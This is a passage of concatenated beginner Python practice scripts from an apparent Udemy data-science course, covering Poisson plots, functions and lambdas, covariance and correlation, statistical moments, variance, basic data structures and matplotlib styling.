600, 0.5) # Generate random numbers within 400 to 500 with an increment of 0.5 # Average number of visits per day mu = 500 # Average value to be used in the Poisson Distribution # Plot the poisson distribution curve plt.plot(x, poisson.pmf(x, mu)) # Display the poisson distribution curve # Generate random numbers in the specified range with a step value of 0.05 - Set 2 x = np.arange (400, 1600, 0.5) # Generate random numbers within 400 to 1600 with an increment of 0.5 # Average number of visits per day mu = 800 # Average value to be used in the Poisson Distribution # Plot the poisson distribution curve plt.plot(x, poisson.pmf(x, mu)) # Display the poisson distribution curve # Generate random numbers in the specified range with a step value of 0.05 - Set 3 x = np.arange (400, 1600, 0.5) # Generate random numbers within 400 to 1600 with an increment of 0.5 # Average number of visits per day mu = 1200 # Average value to be used in the Poisson Distribution # Plot the poisson distribution curve plt.plot(x, poisson.pmf(x, mu)) # Display the poisson distribution curve # Generate random numbers in the specified range with a step value of 0.05 - Set 4 x = np.arange (-400, 1600, 0.5) # Generate random numbers within -400 to 1600 with an increment of 0.5 # Average number of visits per day mu = 200 # Average value to be used in the Poisson Distribution # Plot the poisson distribution curve plt.plot(x, poisson.pmf(x, mu)) # Display the poisson distribution curve # Generate random numbers in the specified range with a step value of 0.05 - Set 5 x = np.arange (400, 500, 0.5) # Generate random numbers within 400 to 500 with an increment of 0.5 # Average number of visits per day mu = 450 # Average value to be used in the Poisson Distribution # Plot the poisson distribution curve plt.plot(x, poisson.pmf(x, mu)) # Display the poisson distribution curve ## End of Practice ##<file_sep>/2. UC - Practice - Python Functions.py # -*- coding: utf-8 -*- """ Udemy Course - Python Functions : 27-May-2019 """ # Functions - To repeat a set of operations multiple times with different parameters # Declared using def keyword # No braces or brackets to specify the function, only indentation using white spaces # Declaring a function to give the square of a number def SquareIt(x): return x * x # Calling the function to return the square of the number passed print(SquareIt(2)) print(SquareIt(-4)) # Declaring a function to give the cube of a number def CubeIt(x): return x * x * x # Calling the function to return the square of the number passed print(CubeIt(2)) print(CubeIt(-2)) # Functions - Pass functions around as parameters # Declaring the function to pass function as parameters def DoSomething(f, x): return f(x) # Calling the function to pass function as parameters print(DoSomething(SquareIt, 3)) # Declaring the function to pass function as parameters def DoSomethingMore(f, x, f1, y): return (f(x),f1(y)) # Calling the function to pass function as parameters print(DoSomethingMore(SquareIt, 3, CubeIt, 3)) # Functions - Lambda function allows us to inline simple functions # Changes functionality of function at run time # DoSomething function accepts a function in first parameter # Lambda defines an unnamed function print(DoSomething(lambda x: x * x * x, 3)) print(DoSomething(lambda x: x * x * x, -2)) print(DoSomething(lambda x: x, -2)) print(DoSomethingMore(lambda x: x * x, 2, lambda y: y * y * y, 2)) print(DoSomethingMore(lambda x: x * x, -2, lambda y: y * y * y, -2)) print(DoSomethingMore(lambda x: x * x, -2, lambda y: y * y * y, -3)) # Boolean Expressions # == : Equals # is : Equals (Python Specific) # True # False # Examples print(1 == 3) print(2 == 2) print(True or False) print(True and False) print(True and True) print(1 is 3) print(2 is 2) print(True is False) print(True or True) # Another example if 1 is 3: print("How did that happen?") elif 1 > 3: print("Yikes") else: print("All is well with the world") # Another example if 3 is 3: print("How did that happen?") elif 1 > 3: print("Yikes") else: print("All is well with the world") # Another example if 4 is 3: print("How did that happen?") elif 4 > 3: print("Yikes") else: print("All is well with the world") # Looping - Repeat a set of operations for specific number of times # Examples # Print numbers in range using the Range function for x in range(10): # Prints number in the range of 0 to 9 print(x) # Print numbers in range showing the use of Continue and Break statements for x in range(10): if (x is 1): continue if (x > 5): break print(x) # Use of while statement x = 0 while (x < 10): print(x) x += 1 # Activity - Write some code that creates a list of integers, loops through each element of the list, and only prints out even numbers listOfNumbers = [1, 2, 3, 16, 17, 4, 5, 6, 22, 26, 7, 8, 9, 10, 11, 12] for number in listOfNumbers: if (number % 2 == 0): print(number) else: continue print ("All done.") ## End of Practice ##<file_sep>/9. UC - Practice - Python Covariance and Correlation.py # -*- coding: utf-8 -*- """ Udemy Course - Covariance and Correlation : 31-Aug-2019 """ # Covariance and Correlation - Ways to measure whether two attributes are related to each other in a dataset # Covariance - Measures how two variables vary in tandem from their means # Covariance - Interpreting covariance is hard, so we use correlation # Covariance - Magnitude which matters, +ve or -ve just shows the type of covariance # Correlation - Divide the covariance by the standard deviations of both variables and that normalizes the things # Correlation - Correlation of - 1 : Perfect inverse correlation # Correlation - Correlation of 0 : No correlation # Correlation - Correlation of + 1 : Perfect correlation # Correlation does not imply causation,it is used to decide what experiments to conduct # Covariance and Correlation # Covariance withour using the numpy methods # Import required libraries import numpy as np # Makes calculation of Mean, Median, Mode, Standard Deviation, Variance import matplotlib.pyplot as plt # Makes graphs for visualisation # Define the function to calculate the deviations from mean for a set of values def de_mean(x): # Function to calculate the deviation from mean xmean = np.mean(x) # Calculating the mean return[xi - xmean for xi in x] # Return the list with the deviations form the mean # Define the function to calculate the covariance def covariance(x, y): # Function to calculate the covariance n = len(x) # Calculate the length of the list return np.dot(de_mean(x), de_mean(y)) / (n- 1) # Calculating the covariance pageSpeeds = np.random.normal(3.0, 1.0, 1000) # Generate random numbers for pageSpeeds with normal distribution; mu = 3.0, sigma = 1.0 purchaseAmount = np.random.normal(50.0, 10.0, 1000) # Generate random numbers for purchaseAmount with normal dist.; mu = 50, sigma = 10 plt.scatter(pageSpeeds, purchaseAmount) # Create scatter plot for pageSpeeds and purchaseAmount covariance(pageSpeeds, purchaseAmount) # Calculate covariance using the user defined function to calculate covariance # We will now try to introduce a relationship between purchaseAmount and pageSpeeds and induce a correlation # It will show a negative value meaning that pages that render in less time result in more money spent purchaseAmount = np.random.normal(50.0, 10.0, 1000) / pageSpeeds # Introducing -ve relationship between purchaseAmounts and pageSpeeds plt.scatter(pageSpeeds, purchaseAmount) # Create scatter plot for pageSpeeds and purchaseAmount which shows a relationship covariance(pageSpeeds, purchaseAmount) # Calculate covariance using the user defined function to show the covariance # Numpy can be used to do this easily using the function numpy.cov # numpy.cov returns a matrix of the covariance values between every combination of the array values np.cov(pageSpeeds, purchaseAmount) # Gives covariance value similar to the values returned by the function # Covariance value or Magnitude which matters, +ve or -ve just shows the type of covariance # Covariance is sensitive to units used in the variables, which makes it difficult to interpret # Correlation normalizes everything by using the standard deviations # Correlation gives us easier values that range from -1 (Perfect InverseCorrelation) to +1 (Perfect Correlation) # Define the function to calculate the correlation def correlation(x, y): # Function to calculate the covariance stddevx = x.std() # Calculate the standard deviation of x values stddevy = y.std() # Calculate the standard deviation of x values return covariance(x, y) / stddevx / stddevy # Check for divide by zero here and then return the correlation value correlation(pageSpeeds, purchaseAmount) # Calculate correlation using the user defined function to calculate correlation # Numpy can be used to do this easily using the function numpy.corrcoef # numpy.corrcoef returns a matrix of the correlation coefficients between every combination of the array values np.corrcoef(pageSpeeds, purchaseAmount) # Gives correlation value similar to the values returned by the function # Show positive relationship, covariance and correlation purchaseAmount = np.random.normal(50.0, 10.0, 1000) * pageSpeeds # Introducing +ve relationship between purchaseAmounts and pageSpeeds plt.scatter(pageSpeeds, purchaseAmount) # Create scatter plot for pageSpeeds and purchaseAmount which shows a relationship covariance(pageSpeeds, purchaseAmount) # Calculate covariance using the user defined function to show the covariance np.cov(pageSpeeds, purchaseAmount) # Gives covariance value similar to the values returned by the function correlation(pageSpeeds, purchaseAmount) # Calculate correlation using the user defined function to calculate correlation np.corrcoef(pageSpeeds, purchaseAmount) # Gives correlation value similar to the values returned by the function # Check for a perfect correlation by fabricating a totally linear relationship : -ve correlation purchaseAmount = 100 - pageSpeeds * 3 # Introducing a linear relationship between purchaseAmounts and pageSpeeds plt.scatter(pageSpeeds, purchaseAmount) # Create scatter plot for pageSpeeds and purchaseAmount which shows a relationship correlation(pageSpeeds, purchaseAmount) # Calculate correlation using the user defined function to calculate correlation np.corrcoef(pageSpeeds, purchaseAmount) # Gives correlation value similar to the values returned by the function # Check for a perfect correlation by fabricating a totally linear relationship : +ve correlation purchaseAmount = 100 + pageSpeeds * 3 # Introducing a linear relationship between purchaseAmounts and pageSpeeds plt.scatter(pageSpeeds, purchaseAmount) # Create scatter plot for pageSpeeds and purchaseAmount which shows a relationship correlation(pageSpeeds, purchaseAmount) # Calculate correlation using the user defined function to calculate correlation np.corrcoef(pageSpeeds, purchaseAmount) # Gives correlation value similar to the values returned by the function ## End of Practice ##<file_sep>/7. UC - Practice - Python Moments.py # -*- coding: utf-8 -*- """ Udemy Course - Moments : 30-Aug-2019 """ # Moments - Quantitative measures of the shape of a probability density function # First moment of a dataset : Mean # Second moment of a dataset : Variance # Third moment of a dataset : Skew - How lopsided is the distribution # Skew - Distribution with a longer tail on the left will be skewed left and has a negative skewness # Skew - Distribution with a longer tail on the right will be skewed right and has a positive skewness # Fourth moment of a dataset : Kurtosis - How thick is the tail and how sharp is the peak compared to a normal distribution # Kurtosis - Higher peak value has a higher kurtosis, measures how peaked is the data # Moments Examples # Import required libraries import numpy as np # Makes calculation of Mean, Median, Mode, Standard Deviation, Variance import matplotlib.pyplot as plt # Makes graphs for visualisation # Generate random numbers with normal distribution - Set 1 vals = np.random.normal(0, 0.5, 10000) # Generate random numbers with normal distribution; mu = 0, sigma = 0.5 # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(vals, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # First moment of a dataset : Mean np.mean(vals) # Gives the first moment - Mean # Second moment of a dataset : Variance np.var(vals) # Gives the second moment - Variance # Third moment of a dataset : Skew # Import required libraries import scipy.stats as sp # Makes calculations of Skewness and Kurtosis sp.skew(vals) # Gives the third moment - Skew # As the data is centered around Zero, it will also be Zero # Fourth moment of a dataset : Kurtosis sp.kurtosis(vals) # Gives the fourth moment - Kurtosis # As it describes the shape of the tail, it will be Zero for a normal distribution # Generate random numbers with normal distribution - Set 2 vals = np.random.normal(10, 2.5, 10000) # Generate random numbers with normal distribution; mu = 10, sigma = 2.5 # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(vals, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # First moment of a dataset : Mean np.mean(vals) # Gives the first moment - Mean # Second moment of a dataset : Variance np.var(vals) # Gives the second moment - Variance # Third moment of a dataset : Skew # Import required libraries import scipy.stats as sp # Makes calculations of Skewness and Kurtosis sp.skew(vals) # Gives the third moment - Skew # As the data is centered around Zero, it will also be Zero # Fourth moment of a dataset : Kurtosis sp.kurtosis(vals) # Gives the fourth moment - Kurtosis # As it describes the shape of the tail, it will be Zero for a normal distribution # Generate random numbers with uniform distribution - Set 3 vals = np.random.uniform(-10.0, 10.0, 10000) # Generate random numbers with uniform distribution # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(vals, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # First moment of a dataset : Mean np.mean(vals) # Gives the first moment - Mean # Second moment of a dataset : Variance np.var(vals) # Gives the second moment - Variance # Third moment of a dataset : Skew # Import required libraries import scipy.stats as sp # Makes calculations of Skewness and Kurtosis sp.skew(vals) # Gives the third moment - Skew # Fourth moment of a dataset : Kurtosis sp.kurtosis(vals) # Gives the fourth moment - Kurtosis # Generate random numbers in the specified range with a step value of 0.001 - Set 4 vals = np.arange(-4, 14, 0.001) # Generate random numbers within -3 to + 3 with an increment of 0.001 # Plot the normal distribution curve # Import required libraries from scipy.stats import norm # Provides pdf function to create probability density function for normal distribution import matplotlib.pyplot as plt # Makes graphs for visualisation plt.plot(vals, norm.pdf(vals)) # Display the normal distribution curve # First moment of a dataset : Mean np.mean(vals) # Gives the first moment - Mean # Second moment of a dataset : Variance np.var(vals) # Gives the second moment - Variance # Third moment of a dataset : Skew # Import required libraries import scipy.stats as sp # Makes calculations of Skewness and Kurtosis sp.skew(vals) # Gives the third moment - Skew # Fourth moment of a dataset : Kurtosis sp.kurtosis(vals) # Gives the fourth moment - Kurtosis ## End of Practice ##<file_sep>/4. UC - Practice - Python Std Dev and Variance.py # -*- coding: utf-8 -*- """ Udemy Course - Python Basics Std Dev and Var : 28-May-2019 """ # Standard Deviation and Variance # Variance - Measures how "spread out" the data is # Variance - Average of the squared differences from the mean # Standard Deviation - Square root of the variance # Variance and Standard Deviation - Helps to identify outliers # Population Mean : μ = ( Σ Xi ) / N # Population Variance : σ2 # Sample Mean : M = ( Σ Xi ) / N # Population and Sample # Population Variance uses N, Sample Variance uses N- 1 # Import required libraries import numpy as np # Makes calculation of Mean, Median, Mode, Standard Deviation, Variance import matplotlib.pyplot as plt # Makes graphs for visualisation # Generate random income numbers - Set 1 incomes = np.random.normal(100.0, 20.0, 10000) # Generate random income numbers # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(incomes, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Calculate Standard Deviation incomes.std() # Display the standard deviation # Calculate Variance incomes.var() # Display the variance # Generate random income numbers - Set 2 incomes = np.random.normal(100.0, 50.0, 10000) # Generate random income numbers # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(incomes, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Calculate Standard Deviation incomes.std() # Display the standard deviation # Calculate Variance incomes.var() # Display the variance # Generate random income numbers - Set 3 incomes = np.random.normal(100.0, 75.0, 10000) # Generate random income numbers # Segment the income data into 50 buckets, and plot it as a histogram plt.hist(incomes, 50) # Segments the data into 50 buckets plt.show() # Display the histogram # Calculate Standard Deviation incomes.std() # Display the standard deviation # Calculate Variance incomes.var() # Display the variance ## End of Practice ##<file_sep>/1. UC - Practice - Python Basics.py # -*- coding: utf-8 -*- """ Udemy Course - Python Basics : 26-May-2019 """ # For Loop example listOfNumbers = [1, 2, 3, 4, 5, 6] for number in listOfNumbers: print(number) if (number % 2 == 0): print("is even") else: print("is odd") print ("All done.") # Importing Modules # Importing numpy package (Numpy ~ Numeric Python) import numpy as np # Generating random numbers : Calling random function and generating the normal distribution a = np.random.normal(25.0, 5.0, 10) print (a) b = np.random.normal(5.0, 25.0, 10) print (b) # Working with Lists # Lists are mutable : Add items to list and rearrange items # Square brackets [ ] indicate a python list # We can add any type of data to a list x = [1,2,3,4,5,6] print (len(x)) y = [1,2,3,4,5,6,'a'] print (len(y)) # List - Slicing and Dicing # Select anything before element number 3 x[:3] # Select anything before element number 4 x[:4] # Select anything after element number 3 x[3:] # Select anything after element number 4 x[4:] # Select two elements from last element x[-2:] # Select all elements from last two elements x[:-2] # Add more elements to the existing list in the form of list x.extend([7,8]) x # Add more element to the existing list in the form of single character x.append(9) x x.append([10,11]) x # Adding a list to an existing list : Merges both the lists and creates a new list y = [12, 13, 14] listOfLists = [x,y] # Merges both the lists listOfLists # Shows both the lists througn the merged list # Select second element of list y y[1] # Select second element of list listOfLists listOfLists[1] # Sorting Lists - Ascending Order z = [3 ,2 , 1] z.sort() z # Sorting Lists - Ascending Order : Another example zs = [1,3,5,7,9,2,4,6,8,10] zs.sort() zs # Sorting Lists - Descending Order z = [3 ,2 , 1] z.sort(reverse=True) z # Sorting Lists - Descending Order : Another example zs = [1,3,5,7,9,2,4,6,8,10] zs.sort(reverse=True) zs # Working with Tuples # Tuples are immutable : We can not change them, they are what they are # Round brackets ( ) indicate a python tuple x = (1,2,3) # Defining a tuple len(x) # Display the length of a tuple y = (4,5,6) # Defining a tuple y[0] # Display first element of a tuple - Count starts from 0 y[1] # Display second element of a tuple - Count starts from 0 y[2] # Display third element of a tuple - Count starts from 0 y[3] # Gives index out of range error # Creating a list from tuples listofTuples = [ x , y ] # Defining a list of tuples listofTuples # Display the list of tuples # Moving values to a tuple from an input data stream # Split the input data stream based on a delimiter with the help of split function (age, income) = "32,12000".split(',') # Defining an input data stream and split it by split function print(age) # Display the first element print(income) # Display the second element # Working with Dictionary # Like a map or hash table in other languages, like a mini database # Key value mapping datastore # Round brackets { } indicate a python dictionary captains = {} # Defining a blank dictionary captains["Enterprise"] = "Kirk" # Defining dictionary element captains["Enterprise D"] = "Picard" # Defining dictionary element captains["Deep Space Nine"] = "Sisko" # Defining dictionary element captains["Voyager"] = "Janeway" # Defining dictionary element print(captains["Voyager"]) # Display dictionary element print(captains.get("Enterprise")) # Display dictionary element - Another way print(captains.get("Voyager")) # Display dictionary element - Another way print(captains.get("NX-01")) # Display error message # Using for loop to display all elements of the dictionary for ship in captains: # For loop print(ship + ": " + captains[ship])# Display the dictionary elements ## End of Practice ##<file_sep>/8. UC - Practice - Python Matplotlib.py # -*- coding: utf-8 -*- """ Udemy Course - Matplotlib : 30-Aug-2019 """ # Matplotlib - Used to create graphs and visualize different types of data in different ways # Matplotlib - Chooses different colors automatically for different plots # Import required libraries from scipy.stats import norm # Provides pdf function to create probability density function for normal distribution import numpy as np # Makes calculation of Mean, Median, Mode, Standard Deviation, Variance import matplotlib.pyplot as plt # Makes graphs for visualisation # Draw a line graph # Generate random numbers in the specified range with a step value of 0.001 - Set 1 x = np.arange(-3, 3, 0.001) # Generate random numbers within -3 to + 3 with an increment of 0.001 # Plot the normal distribution curve plt.plot(x, norm.pdf(x)) # Display the normal distribution curve plt.show() # Display the plot # Multiple plots on one graph - Set 1 plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.show() # Display the plot # Multiple plots on one graph - Set 2 plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.25)) # Display the third normal distribution curve plt.show() # Display the plot # Saving the plots on a file - Set 1 plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.savefig("C:/Abhinav/Study Material/Data Science/Udemy/Practice/firstplot.png",format='png') # Save the plots on a .png file plt.savefig("C:/Abhinav/Study Material/Data Science/Udemy/Practice/firstplot.jpg",format='jpg') # Save the plots on a .jpg file # Saving the plots on a file - Set 2 plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.25)) # Display the third normal distribution curve plt.savefig("C:/Abhinav/Study Material/Data Science/Udemy/Practice/secondplot.png",format='png') # Save the plots on a .png file plt.savefig("C:/Abhinav/Study Material/Data Science/Udemy/Practice/secondplot.jpg",format='jpg') # Save the plots on a .jpg file # Adjust the axes - Set 1 axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.show() # Display the plot # Adjust the axes - Set 2 axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 8]) # Setting the limit for x axis - Extends the axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.show() # Display the plot # Adjust the axes - Set 3 axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 8]) # Setting the limit for x axis - Extends the axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, 7]) # Setting the parameters for ticks on the x axis - Extends the ticks axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.show() # Display the plot # Adjust the axes - Set 4 axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 2]) # Setting the limit for x axis - Leads to truncation axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2]) # Setting the parameters for ticks on the x axis - Leads to truncation axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.show() # Display the plot # Adjust the axes - Set 5 axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 0.5]) # Setting the limit for y axis - Leads to truncation axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5 ]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5]) # Setting the parameters for ticks on the y axis - Leads to truncation plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.show() # Display the plot # Adding the grid axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.plot(x, norm.pdf(x)) # Display the first normal distribution curve plt.plot(x, norm.pdf(x, 1.0, 0.5)) # Display the second normal distribution curve plt.show() # Display the plot # Change line type and colors of the plot - Set 1 axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.plot(x, norm.pdf(x), 'b-') # Display the first normal distribution curve with solid line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'r:') # Display the second normal distribution curve with dotted line in red color plt.show() # Display the plot # Change line type and colors of the plot - Set 2 axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.plot(x, norm.pdf(x), 'b-') # Display the first normal distribution curve with solid line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g--') # Display the second normal distribution curve with double dotted line in green color plt.show() # Display the plot # Change line type and colors of the plot - Set 3 axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.plot(x, norm.pdf(x), 'b-') # Display the first normal distribution curve with solid line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.show() # Display the plot # Change line type and colors of the plot - Set 4 axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.show() # Display the plot # Labelling axes and Adding Legends - Position : Top Right axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.legend(['Blue','Green'], loc = 0) # Display the legend for plot type, 0 is for Top Right plt.show() # Display the plot # Labelling axes and Adding Legends - Position : Top Left axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.legend(['Blue','Green'], loc = 2) # Display the legend for plot type, 2 is for Top Left plt.show() # Display the plot # Labelling axes and Adding Legends - Position : Bottom Left axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.legend(['Blue','Green'], loc = 3) # Display the legend for plot type, 3 is for Bottom Left plt.show() # Display the plot # Labelling axes and Adding Legends - Position : Bottom Right axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.legend(['Blue','Green'], loc = 4) # Display the legend for plot type, 4 is for Bottom Right plt.show() # Display the plot # Labelling axes and Adding Legends - Position : Middle Right axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.xlabel('X-Axis') # Display the label for X-Axis plt.ylabel('Y-Axis') # Display the label for X-Axis plt.plot(x, norm.pdf(x), 'b--') # Display the first normal distribution curve with double dotted line in blue color plt.plot(x, norm.pdf(x, 1.0, 0.5), 'g-.') # Display the second normal distribution curve with slash and dotted line in green color plt.legend(['Blue','Green'], loc = 5) # Display the legend for plot type, 5 is for Middle Right plt.show() # Display the plot # Labelling axes and Adding Legends - Position : Middle Left axes = plt.axes() # Mapping the axes axes.set_xlim([-5, 5]) # Setting the limit for x axis axes.set_ylim([0, 1.0]) # Setting the limit for y axis axes.set_xticks([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) # Setting the parameters for ticks on the x axis axes.set_yticks([0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]) # Setting the parameters for ticks on the y axis axes.grid() # Display the gridlines plt.xlabel('X-Axis') # Display the label for X-Axis 